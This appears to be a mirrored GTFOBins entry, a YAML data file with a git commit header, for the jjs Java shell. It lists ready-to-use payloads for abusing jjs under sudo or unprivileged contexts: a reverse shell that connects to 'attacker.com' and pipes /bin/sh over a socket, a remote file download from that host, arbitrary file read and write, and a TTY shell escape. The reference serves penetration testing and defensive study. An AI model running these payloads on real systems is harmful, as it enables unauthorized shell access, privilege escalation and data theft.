1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/jjs
Andrea Cardaci 560c37b5ff Fix TTY shells
The TTY annotation was missing in the rendered content for plain shell. Moreover
now the shell function has TTY defaulting to true, whereas reverse-shell and
bind-shell have it defaulting to false.
2026-02-03 21:01:13 +01:00

64 lines
2.2 KiB
Plaintext

---
comment: |-
This tool is installed starting with Java SE 8.
functions:
download:
- code: |-
jjs
var URL = Java.type('java.net.URL');
var ws = new URL('http://attacker.com/path/to/input-file');
var Channels = Java.type('java.nio.channels.Channels');
var rbc = Channels.newChannel(ws.openStream());
var FileOutputStream = Java.type('java.io.FileOutputStream');
var fos = new FileOutputStream('/path/to/output-file');
fos.getChannel().transferFrom(rbc, 0, Number.MAX_VALUE);
fos.close();
rbc.close();
contexts:
sudo:
unprivileged:
sender: http-server
file-read:
- code: |-
jjs
var BufferedReader = Java.type('java.io.BufferedReader');
var FileReader = Java.type('java.io.FileReader');
var br = new BufferedReader(new FileReader('/path/to/input-file'));
while ((line = br.readLine()) != null) { print(line); }
contexts:
sudo:
unprivileged:
file-write:
- code: |-
jjs
var FileWriter = Java.type('java.io.FileWriter');
var fw=new FileWriter('/path/to/output-file');
fw.write('DATA');
fw.close();
contexts:
sudo:
unprivileged:
reverse-shell:
- code: |-
jjs
var host='attacker.com';
var port=12345;
var ProcessBuilder = Java.type('java.lang.ProcessBuilder');
var p=new ProcessBuilder('/bin/sh', '-i').redirectErrorStream(true).start();
var Socket = Java.type('java.net.Socket');
var s=new Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type('java.lang.Thread').sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();
contexts:
sudo:
unprivileged:
listener: tcp-server
shell:
- code: |-
jjs
Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c $@|sh _ echo sh </dev/tty >/dev/tty 2>/dev/tty').waitFor()
contexts:
sudo:
unprivileged:
...